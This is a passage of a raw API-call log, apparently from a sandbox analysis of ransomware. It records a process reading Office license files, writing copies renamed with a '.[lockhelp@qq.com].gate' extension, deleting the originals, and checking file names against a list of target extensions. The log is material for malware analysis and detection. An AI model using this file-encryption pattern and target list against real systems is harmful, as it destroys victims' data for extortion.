3 [0317.703] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0317.703] lstrlenW (lpString=".dbf") returned 4 [0317.703] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0317.703] lstrlenW (lpString=".1cd") returned 4 [0317.703] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0317.704] lstrlenW (lpString=".jpg") returned 4 [0317.704] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.704] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=22214) returned 1 [0317.704] CloseHandle (hObject=0x4b4) returned 1 [0317.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0317.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.705] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.705] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0317.705] GetLastError () returned 0x0 [0317.705] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x56c6, lpOverlapped=0x0) returned 1 [0317.720] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x56d0, lpOverlapped=0x0) returned 1 [0317.721] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.721] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x110, lpOverlapped=0x0) returned 1 [0317.721] SetEndOfFile (hFile=0x4c4) returned 1 [0317.721] CloseHandle (hObject=0x4c4) returned 1 [0317.721] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.721] SetEndOfFile (hFile=0x4b4) returned 1 [0317.724] CloseHandle (hObject=0x4b4) returned 1 [0317.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1 [0317.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0317.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0317.725] lstrlenW (lpString=".doc") returned 4 [0317.725] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString=".docx") returned 5 [0317.725] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.725] lstrlenW (lpString=".pdf") returned 4 [0317.725] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString=".xls") returned 4 [0317.725] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString=".xlsx") returned 5 [0317.725] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.725] lstrlenW (lpString=".ppt") returned 4 [0317.725] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0317.725] lstrlenW (lpString=".zip") returned 4 [0317.725] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString=".rar") returned 4 [0317.725] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString=".bz2") returned 4 [0317.725] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString=".7z") returned 3 [0317.725] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0317.725] lstrlenW (lpString=".dbf") returned 4 [0317.725] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0317.726] lstrlenW (lpString=".1cd") returned 4 [0317.726] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0317.726] lstrlenW (lpString=".jpg") returned 4 [0317.726] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.726] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11171) returned 1 [0317.726] CloseHandle (hObject=0x4b4) returned 1 [0317.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220 [0317.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.727] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.727] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0317.727] GetLastError () returned 0x0 [0317.727] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0318.116] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0318.117] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.117] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x110, lpOverlapped=0x0) returned 1 [0318.117] SetEndOfFile (hFile=0x4c4) returned 1 [0318.117] CloseHandle (hObject=0x4c4) returned 1 [0318.117] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.117] SetEndOfFile (hFile=0x4b4) returned 1 [0318.119] CloseHandle (hObject=0x4b4) returned 1 [0318.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1 [0318.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0318.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0318.589] lstrlenW (lpString=".doc") returned 4 [0318.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0318.589] lstrlenW (lpString=".docx") returned 5 [0318.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0318.589] lstrlenW (lpString=".pdf") returned 4 [0318.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0318.589] lstrlenW (lpString=".xls") returned 4 [0318.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0318.589] lstrlenW (lpString=".xlsx") returned 5 [0318.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0318.590] lstrlenW (lpString=".ppt") returned 4 [0318.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0318.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0318.590] lstrlenW (lpString=".zip") returned 4 [0318.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0318.590] lstrlenW (lpString=".rar") returned 4 [0318.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0318.590] lstrlenW (lpString=".bz2") returned 4 [0318.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0318.590] lstrlenW (lpString=".7z") returned 3 [0318.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0318.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0318.590] lstrlenW (lpString=".dbf") returned 4 [0318.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0318.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0318.590] lstrlenW (lpString=".1cd") returned 4 [0318.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0318.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0318.590] lstrlenW (lpString=".jpg") returned 4 [0318.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0318.591] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.591] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0318.592] GetLastError () returned 0x0 [0318.592] ReadFile (in: hFile=0x338, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2d95, lpOverlapped=0x0) returned 1 [0318.675] WriteFile (in: hFile=0x378, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2da0, lpOverlapped=0x0) returned 1 [0318.676] ReadFile (in: hFile=0x338, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.676] WriteFile (in: hFile=0x378, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x12e, lpOverlapped=0x0) returned 1 [0318.676] SetEndOfFile (hFile=0x378) returned 1 [0318.677] CloseHandle (hObject=0x378) returned 1 [0318.677] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.677] SetEndOfFile (hFile=0x338) returned 1 [0318.679] CloseHandle (hObject=0x338) returned 1 [0318.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0318.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0318.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0318.680] lstrlenW (lpString=".doc") returned 4 [0318.680] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0318.680] lstrlenW (lpString=".docx") returned 5 [0318.680] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0318.680] lstrlenW (lpString=".pdf") returned 4 [0318.680] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0318.680] lstrlenW (lpString=".xls") returned 4 [0318.680] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0318.680] lstrlenW (lpString=".xlsx") returned 5 [0318.680] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0318.680] lstrlenW (lpString=".ppt") returned 4 [0318.680] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0318.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0318.681] lstrlenW (lpString=".zip") returned 4 [0318.681] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0318.681] lstrlenW (lpString=".rar") returned 4 [0318.681] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0318.681] lstrlenW (lpString=".bz2") returned 4 [0318.681] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0318.681] lstrlenW (lpString=".7z") returned 3 [0318.681] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0318.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0318.681] lstrlenW (lpString=".dbf") returned 4 [0318.681] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0318.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0318.681] lstrlenW (lpString=".1cd") returned 4 [0318.681] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0318.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0318.681] lstrlenW (lpString=".jpg") returned 4 [0318.681] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0318.682] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.682] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0318.683] GetLastError () returned 0x0 [0318.683] ReadFile (in: hFile=0x338, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x542a, lpOverlapped=0x0) returned 1 [0318.748] WriteFile (in: hFile=0x378, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x5430, lpOverlapped=0x0) returned 1 [0318.749] ReadFile (in: hFile=0x338, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.749] WriteFile (in: hFile=0x378, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10e, lpOverlapped=0x0) returned 1 [0318.749] SetEndOfFile (hFile=0x378) returned 1 [0318.749] CloseHandle (hObject=0x378) returned 1 [0318.749] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.749] SetEndOfFile (hFile=0x338) returned 1 [0318.753] CloseHandle (hObject=0x338) returned 1 [0318.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1 [0318.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0318.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0318.754] lstrlenW (lpString=".doc") returned 4 [0318.754] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0318.754] lstrlenW (lpString=".docx") returned 5 [0318.754] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0318.755] lstrlenW (lpString=".pdf") returned 4 [0318.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString=".xls") returned 4 [0318.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString=".xlsx") returned 5 [0318.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0318.755] lstrlenW (lpString=".ppt") returned 4 [0318.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0318.755] lstrlenW (lpString=".zip") returned 4 [0318.755] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString=".rar") returned 4 [0318.755] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString=".bz2") returned 4 [0318.755] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString=".7z") returned 3 [0318.755] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0318.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0318.755] lstrlenW (lpString=".dbf") returned 4 [0318.755] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0318.755] lstrlenW (lpString=".1cd") returned 4 [0318.755] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0318.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0318.755] lstrlenW (lpString=".jpg") returned 4 [0318.755] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0318.756] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.756] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0318.757] GetLastError () returned 0x0 [0318.757] ReadFile (in: hFile=0x338, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2d63, lpOverlapped=0x0) returned 1 [0318.851] WriteFile (in: hFile=0x378, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0318.851] ReadFile (in: hFile=0x338, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.852] WriteFile (in: hFile=0x378, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x114, lpOverlapped=0x0) returned 1 [0318.852] SetEndOfFile (hFile=0x378) returned 1 [0318.852] CloseHandle (hObject=0x378) returned 1 [0318.852] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.852] SetEndOfFile (hFile=0x338) returned 1 [0318.854] CloseHandle (hObject=0x338) returned 1 [0318.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1 [0318.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0318.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0318.855] lstrlenW (lpString=".doc") returned 4 [0318.855] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0318.855] lstrlenW (lpString=".docx") returned 5 [0318.856] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0318.856] lstrlenW (lpString=".pdf") returned 4 